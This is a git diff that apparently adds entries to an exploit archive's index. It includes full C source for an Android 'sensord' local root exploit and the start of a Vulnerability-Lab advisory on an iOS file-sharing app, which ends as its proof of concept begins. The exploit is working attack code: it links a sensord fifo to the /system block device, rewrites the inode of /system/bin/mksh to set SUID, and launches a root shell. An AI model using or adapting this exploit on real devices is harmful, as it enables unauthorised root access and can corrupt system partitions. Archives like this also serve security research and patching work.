diff --git a/files.csv b/files.csv index fdf8ddb6b..7680a3dfd 100755 --- a/files.csv +++ b/files.csv @@ -35573,3 +35573,14 @@ id,file,description,date,author,platform,type,port 39329,platforms/windows/dos/39329.py,"InfraRecorder '.m3u' File Buffer Overflow Vulnerability",2014-05-25,"Osanda Malith",windows,dos,0 39330,platforms/windows/dos/39330.txt,"Foxit Reader <= 7.2.8.1124 - PDF Parsing Memory Corruption",2016-01-26,"Francis Provencher",windows,dos,0 39331,platforms/windows/dos/39331.pl,"Tftpd32 and Tftpd64 Denial Of Service Vulnerability",2014-05-14,j0s3h4x0r,windows,dos,0 +39332,platforms/php/webapps/39332.txt,"Wiser Backup Information Disclosure Vulnerability",2014-05-19,"AtT4CKxT3rR0r1ST ",php,webapps,0 +39333,platforms/php/webapps/39333.html,"WordPress Elegance Theme 'elegance/lib/scripts/dl-skin.php' Local File Disclosure Vulnerability",2014-06-08,"Felipe Andrian Peixoto",php,webapps,0 +39334,platforms/java/webapps/39334.txt,"Yealink VoIP Phones '/servlet' HTTP Response Splitting Vulnerability",2014-06-12,"Jesus Oquendo",java,webapps,0 +39335,platforms/ios/webapps/39335.txt,"Secure Item Hub 1.0 iOS - Multiple Vulnerabilities",2016-01-27,Vulnerability-Lab,ios,webapps,8080 +39336,platforms/linux/shellcode/39336.c,"Linux x86/x86_64 tcp_bind Shellcode",2016-01-27,B3mB4m,linux,shellcode,0 +39337,platforms/linux/shellcode/39337.c,"Linux x86/x86_64 tcp_bind Shellcode #2",2016-01-27,B3mB4m,linux,shellcode,0 +39338,platforms/linux/shellcode/39338.c,"Linux x86/x86_64 Read etc/passwd Shellcode",2016-01-27,B3mB4m,linux,shellcode,0 +39339,platforms/php/webapps/39339.txt,"BK Mobile jQuery CMS 2.4 - Multiple Vulnerabilities",2016-01-27,"Rahul Pratap Singh",php,webapps,80 +39340,platforms/android/local/39340.cpp,"Android sensord Local Root Exploit",2016-01-27,s0m3b0dy,android,local,0 +39341,platforms/php/webapps/39341.txt,"WordPress Booking Calendar Contact Form <=1.1.24 - Multiple Vulnerabilities",2016-01-27,"i0akiN SEC-LABORATORY",php,webapps,80 +39342,platforms/php/webapps/39342.txt,"WordPress Booking Calendar Contact Form<=1.1.24 - addslashes SQL Injection Vulnerability",2016-01-27,"i0akiN SEC-LABORATORY",php,webapps,80 diff --git a/platforms/android/local/39340.cpp b/platforms/android/local/39340.cpp new file mode 100755 index 000000000..b74f592a5 --- /dev/null +++ b/platforms/android/local/39340.cpp @@ -0,0 +1,474 @@ + +/* + * Android sensord 0day root exploit by s0m3b0dy + * tested on LG L7 (PL) + * + * + * need pentests? s0m3b0dy1(at)gmail.com + * + * * * * * * * * * * * * * * * * * * * * * * * * + * + * some Android devices have sensord deamon, + * for some ROMs the deamon is running as root process(there we can use this exploit) + * + * and + *--------- + * root@android:/ # strace sensord + * ... + * open("/data/misc/sensor/fifo_cmd", O_RDWR|O_LARGEFILE) = 12 + * ... + * open("/data/misc/sensor/fifo_dat", O_RDWR|O_LARGEFILE) = 13 + * fchmod(12, 0666) = 0 + * fchmod(13, 0666) = 0 + * --------- + * there is no check that the files are not links, so we can link it to eg. block device and make it rw! + * exploit will set bit suid on /system/bin/mksh, need to reboot the device after step 1 and step 2 + * + * this exploit is dangerous, before step 1 exploit is disabling auto-rotate to not overwrite /system pertition! + * + * the author is not responsible for any damage + * for education purpose only :) + * + */ + + +#include +#include +#include +#include +#include +#include +#include +#include + + +#define FIFO_DAT "/data/misc/sensor/fifo_dat" +#define SH "/system/bin/mksh" + +struct ext4_super_block { + /*00*/ __le32 s_inodes_count; + __le32 s_blocks_count_lo; + __le32 s_r_blocks_count_lo; + __le32 s_free_blocks_count_lo; + /*10*/ __le32 s_free_inodes_count; + __le32 s_first_data_block; + __le32 s_log_block_size; + __le32 s_log_cluster_size; + /*20*/ __le32 s_blocks_per_group; + __le32 s_clusters_per_group; + __le32 s_inodes_per_group; + __le32 s_mtime; + /*30*/ __le32 s_wtime; + __le16 s_mnt_count; + __le16 s_max_mnt_count; + __le16 s_magic; + __le16 s_state; + __le16 s_errors; + __le16 s_minor_rev_level; + /*40*/ __le32 s_lastcheck; + __le32 s_checkinterval; + __le32 s_creator_os; + __le32 s_rev_level; + /*50*/ __le16 s_def_resuid; + __le16 s_def_resgid; + __le32 s_first_ino; + __le16 s_inode_size; + __le16 s_block_group_nr; + __le32 s_feature_compat; + /*60*/ __le32 s_feature_incompat; + __le32 s_feature_ro_compat; + /*68*/ __u8 s_uuid[16]; + /*78*/ char s_volume_name[16]; + /*88*/ char s_last_mounted[64]; + /*C8*/ __le32 s_algorithm_usage_bitmap; + __u8 s_prealloc_blocks; + __u8 s_prealloc_dir_blocks; + __le16 s_reserved_gdt_blocks; + /*D0*/ __u8 s_journal_uuid[16]; + /*E0*/ __le32 s_journal_inum; + __le32 s_journal_dev; + __le32 s_last_orphan; + __le32 s_hash_seed[4]; + __u8 s_def_hash_version; + __u8 s_jnl_backup_type; + __le16 s_desc_size; + /*100*/ __le32 s_default_mount_opts; + __le32 s_first_meta_bg; + __le32 s_mkfs_time; + __le32 s_jnl_blocks[17]; + /*150*/ __le32 s_blocks_count_hi; + __le32 s_r_blocks_count_hi; + __le32 s_free_blocks_count_hi; + __le16 s_min_extra_isize; + __le16 s_want_extra_isize; + __le32 s_flags; + __le16 s_raid_stride; + __le16 s_mmp_update_interval; + __le64 s_mmp_block; + __le32 s_raid_stripe_width; + __u8 s_log_groups_per_flex; + __u8 s_checksum_type; + __u8 s_encryption_level; + __u8 s_reserved_pad; + __le64 s_kbytes_written; + __le32 s_snapshot_inum; + __le32 s_snapshot_id; + __le64 s_snapshot_r_blocks_count; + __le32 s_snapshot_list; + #define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count) + __le32 s_error_count; + __le32 s_first_error_time; + __le32 s_first_error_ino; + __le64 s_first_error_block; + __u8 s_first_error_func[32]; + __le32 s_first_error_line; + __le32 s_last_error_time; + __le32 s_last_error_ino; + __le32 s_last_error_line; + __le64 s_last_error_block; + __u8 s_last_error_func[32]; + #define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts) + __u8 s_mount_opts[64]; + __le32 s_usr_quota_inum; + __le32 s_grp_quota_inum; + __le32 s_overhead_clusters; + __le32 s_backup_bgs[2]; + __u8 s_encrypt_algos[4]; + __u8 s_encrypt_pw_salt[16]; + __le32 s_lpf_ino; + __le32 s_prj_quota_inum; + __le32 s_checksum_seed; + __le32 s_reserved[98]; + __le32 s_checksum; +}; + +struct ext4_group_desc +{ + __le32 bg_block_bitmap_lo; + __le32 bg_inode_bitmap_lo; + __le32 bg_inode_table_lo; + __le16 bg_free_blocks_count_lo; + __le16 bg_free_inodes_count_lo; + __le16 bg_used_dirs_count_lo; + __le16 bg_flags; + __le32 bg_exclude_bitmap_lo; + __le16 bg_block_bitmap_csum_lo; + __le16 bg_inode_bitmap_csum_lo; + __le16 bg_itable_unused_lo; + __le16 bg_checksum; + __le32 bg_block_bitmap_hi; + __le32 bg_inode_bitmap_hi; + __le32 bg_inode_table_hi; + __le16 bg_free_blocks_count_hi; + __le16 bg_free_inodes_count_hi; + __le16 bg_used_dirs_count_hi; + __le16 bg_itable_unused_hi; + __le32 bg_exclude_bitmap_hi; + __le16 bg_block_bitmap_csum_hi; + __le16 bg_inode_bitmap_csum_hi; + __u32 bg_reserved; + }; + +struct ext4_inode { + __le16 i_mode; + __le16 i_uid; + __le32 i_size_lo; + __le32 i_atime; + __le32 i_ctime; + __le32 i_mtime; + __le32 i_dtime; + __le16 i_gid; + __le16 i_links_count; + __le32 i_blocks_lo; + __le32 i_flags; + union { + struct { + __le32 l_i_version; + } linux1; + struct { + __u32 h_i_translator; + } hurd1; + struct { + __u32 m_i_reserved1; + } masix1; + } osd1; + __le32 i_block[15]; + __le32 i_generation; + __le32 i_file_acl_lo; + __le32 i_size_high; + __le32 i_obso_faddr; + union { + struct { + __le16 l_i_blocks_high; + __le16 l_i_file_acl_high; + __le16 l_i_uid_high; + __le16 l_i_gid_high; + __le16 l_i_checksum_lo; + __le16 l_i_reserved; + } linux2; + struct { + __le16 h_i_reserved1; + __u16 h_i_mode_high; + __u16 h_i_uid_high; + __u16 h_i_gid_high; + __u32 h_i_author; + } hurd2; + struct { + __le16 h_i_reserved1; + __le16 m_i_file_acl_high; + __u32 m_i_reserved2[2]; + } masix2; + } osd2; + __le16 i_extra_isize; + __le16 i_checksum_hi; + __le32 i_ctime_extra; + __le32 i_mtime_extra; + __le32 i_atime_extra; + __le32 i_crtime; + __le32 i_crtime_extra; + __le32 i_version_hi; + }; + +void print_usage( char ** argv) +{ + printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n"); + printf("Usage: %s 1\n", argv[0]); + printf(" %s 2\n", argv[0]); + printf(" %s 3\n", argv[0]); + printf(" %s verify\n", argv[0]); +} + +void get_system_dev( char *ptr, int size ) +{ + int fd = open("/proc/mounts", O_RDONLY); + int pos = 0, posend = 0, tmppos = 0; + char buff[4096]; + char link[1024]; + memset(buff, 0, sizeof(buff)); + memset(link, 0, sizeof(link)); + memset(ptr, 0, size); + if(fd != -1) + { + read(fd, &buff, sizeof(buff)); + int sres = (int)strstr(buff, " /system "); + if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) ) + { + tmppos = pos; + int i=0; + while( (buff[pos] != '\n') && (pos > 0) ) pos--; + pos++; + strncpy(link, &buff[pos], tmppos - pos); + readlink(link, ptr, size); + + } + else + { + printf("[-] Can't find system partition!\n"); + close(fd); + exit(0); + } + close(fd); + } + else + { + printf("[-] Can't read /proc/mounts file!\n"); + exit(0); + } + +} + +void first_step() +{ + if( access(FIFO_DAT, F_OK) != -1 ) + { + unlink(FIFO_DAT); + } + + + char path[1024]; + get_system_dev(path, sizeof(path)); + symlink(path, FIFO_DAT); + + printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n"); +} + +void second_step() +{ + char path[1024]; + struct stat s; + + unlink(FIFO_DAT); + + stat(SH, &s); + printf("[+] Looking for inode no.: %llu\n", s.st_ino); + + get_system_dev(path, sizeof(path)); + + int fd = open(path, O_RDWR); + if( fd != -1 ) + { + int inodeno = s.st_ino; + struct ext4_super_block super; + struct ext4_group_desc group_descr; + struct ext4_inode inode; + + unsigned long int offset=0; + lseek(fd, 0x400, SEEK_SET); + + read(fd, &super, sizeof(super)); + + int block_size = 1024 << super.s_log_block_size; + int bg = (inodeno-1) /super.s_inodes_per_group; + + lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET); + read(fd, &group_descr, sizeof(group_descr)); + + + unsigned int index = (inodeno-1) % super.s_inodes_per_group; + unsigned int off = index * super.s_inode_size; + unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off; + + lseek(fd, total_offset, SEEK_SET); + read(fd, &inode, sizeof(struct ext4_inode)); + + if(inode.i_size_lo == s.st_size) { + __le16 mode = 0; + printf("[+] Found inode!\n"); + lseek(fd, total_offset, SEEK_SET); + + inode.i_mode = inode.i_mode | 0x800; + + int modesize = sizeof(inode.i_mode); + int wr = write(fd, &inode.i_mode, modesize); + + if( wr == modesize ) + { + printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH); + } + else + { + printf("[-] Can't set bit SUID on %s\n", SH); + } + } + else + { + printf("[-] Can't find inode!\n"); + } + close(fd); + } + else + printf("[-] Can't open %s!\n", path); + +} + +void third_step() +{ + char path[1024]; + //chmod(SH, 4755); + setuid(0); + setgid(0); + if(getuid() == 0) + { + + get_system_dev(path, sizeof(path)); + chmod(path, 0600); + printf("[+] Rooted!\n"); + system(SH); + } + else + { + printf("[-] No root here!\n"); + exit(0); + } +} + +bool isSensord(char *spath) +{ + char buff[50]; + bool res = false; + int fd = open(spath, O_RDONLY); + if(fd != -1) + { + read(fd, buff, 50); + if(strstr(buff, "/system/bin/sensord") != NULL) + { + res = true; + } + close(fd); + } + return res; +} + +bool verify() +{ + DIR* dir; + struct dirent *entry; + char spath[512]; + bool res = false; + struct stat s; + + dir = opendir("/proc"); + if(dir) { + while ((entry = readdir(dir)) != NULL) { + if (entry->d_type == DT_DIR) { + snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name); + + if (isSensord(spath)) { + stat(spath, &s); + if (s.st_uid == 0) + res = true; + + break; + } + } + } + closedir(dir); + } + return res; +} + +void disable_autorotate() +{ + printf("[+] Disabling auto-rotate...\n"); + system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0"); +} + +int main(int argc, char **argv) +{ + + if(argc != 2) + { + print_usage( argv ); + return 0; + } + + if( strstr( argv[1], "1" ) != NULL) { + if( verify() ) { + disable_autorotate(); + first_step(); //create link + } + else + { + printf("[-] It looks likey is not vulnerable!\n"); + } + } + else if( strstr( argv[1], "2") != NULL) { + second_step(); //edit ext4(/system) partition(set bit suid) + } + else if( strstr( argv[1], "3") != NULL) { + third_step(); //get root shell + } + else if( strstr( argv[1], "verify") != NULL){ + if( verify() ) + printf("[+] Should be vulnerable!\n"); + else + printf("[-] Not vulnerable!\n"); + } + else{ + print_usage( argv ); + } + + + + return 0; +} \ No newline at end of file diff --git a/platforms/ios/webapps/39335.txt b/platforms/ios/webapps/39335.txt new file mode 100755 index 000000000..761c79472 --- /dev/null +++ b/platforms/ios/webapps/39335.txt @@ -0,0 +1,465 @@ +Document Title: +=============== +Secure Item Hub v1.0 iOS - Multiple Web Vulnerabilities + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1682 + + +Release Date: +============= +2016-01-27 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1682 + + +Common Vulnerability Scoring System: +==================================== +7.3 + + +Product & Service Introduction: +=============================== +Transfer files to and from any computer connected to the same WiFi network as your iPhone or iPad using just a web browser! Just drag and drop +files into the browser (requires a current version of Chrome, Firefox or Safari) and watch the files appear on your device. You can also connect +to other iOS devices that have the Secure Item Hub app and transfer files directly between devices! + +(Copy of the Homepage: https://itunes.apple.com/in/app/secure-item-hub-wifi-file/id537353277 ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application. + + +Vulnerability Disclosure Timeline: +================================== +2016-01-27: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +Pinfolio LLC +Product: Secure Item Hub - WiFi File Sharing 1.0 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +1.1 +An arbitrary file upload web vulnerability has been discovered in the Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application. +The arbitrary file upload web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path +commands to compromise the mobile web-application. + +The web vulnerability is located in the `filename` value of the `Upload` module. Remote attackers are able to inject own files with malicious `filename` +values in the `Upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file dir +listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload by usage of the wifi interface or the local file sync function. +The attacker can also attach multiple file extensions to bypass the web-server file validation to execute a malicious web-shell finally. Remote attackers can +exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter process. After the upload the attacker access +the file with one extension and exchange it with the other one to execute for example own php codes. + +Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious attack requests. +The attack vector is located on the application-side of the wifi service and the request method to inject is POST. + +The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.7. +Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account. +Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise. + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] Upload + [+] Rename + +Vulnerable Parameter(s): + [+] filename + [+] pairs + +Affected Module(s): + [+] Index File Dir Listing (http://localhost:8000/) + + + +1.2 +A local command/path injection web vulnerabilities has been discovered in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application. +The vulnerability allows attackers to inject local commands via vulnerable system values to compromise the apple mobile iOS application. + +The vulnerability is located in the vulnerable `devicename` value that becomes visible in the `file dir (index)` module. Local attackers are able to inject own +malicious system specific commands or path value requests in the vulnerable `devicename` value. The execution of the local command inject occurs in the `index` +module of the mobile application. The attacker is able to manipulate the header name information of the application by preparing to change the local devicename. +The encoding of the vulnerable values in the index header module is broken. + +The attack vector is on the application-side and the injection requires physical device access or a local low privileged user account. Local attackers are also +able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. + +The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.1. +Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction. +Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to +compromise the mobile iOS application or the connected device components. + +Request Method(s): + [+] [SYNC] + +Vulnerable Module(s): + [+] Header Location - Web Application + +Vulnerable Parameter(s): + [+] devicename (HierarchyText) + +Affected Module(s): + [+] Index File Dir Listing (http://localhost:8000/) + + + + +1.3 +A persistent input validation web vulnerability has been discovered in the official Secure Item Hub - WiFi File Sharing mobile iOS wifi web-application. +The vulnerability allows remote attacker to inject malicious persistent script codes to the application-side of the mobile application. + +The vulnerability is located in the path and name (class) values of the `New Folder` and `NewTextFile` modules. The request method to inject is POST and +the attack vector is located on the application-side of the mobile app. Remote attackers are able to inject via POST own malicious script codes to compromise +the wifi web-application index file dir listing. The validation and encoding of the `New Folder` and `NewTextFile` modules are broken and allows to inject +malicious persistent script codes. + +The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. +Exploitation of the application-side web vulnerability requires no privileged web-application user account and only low or medium user interaction. +Successful exploitation of the vulnerabilities results in persistent phishing, session hijacking, persistent external redirect to malicious +sources and application-side manipulation of affected or connected module context. + +Request Method(s): + [+] [POST] + +Vulnerable Module(s): + [+] NewTextFile + [+] New Folder + +Vulnerable Parameter(s): + [+] path + [+] name (class) + +Affected Module(s): + [+] Index File Dir Listing (http://localhost:8000/) + + +Proof of Concept (PoC): +======================= +1.1 +The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction. +For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. + + +PoC: + +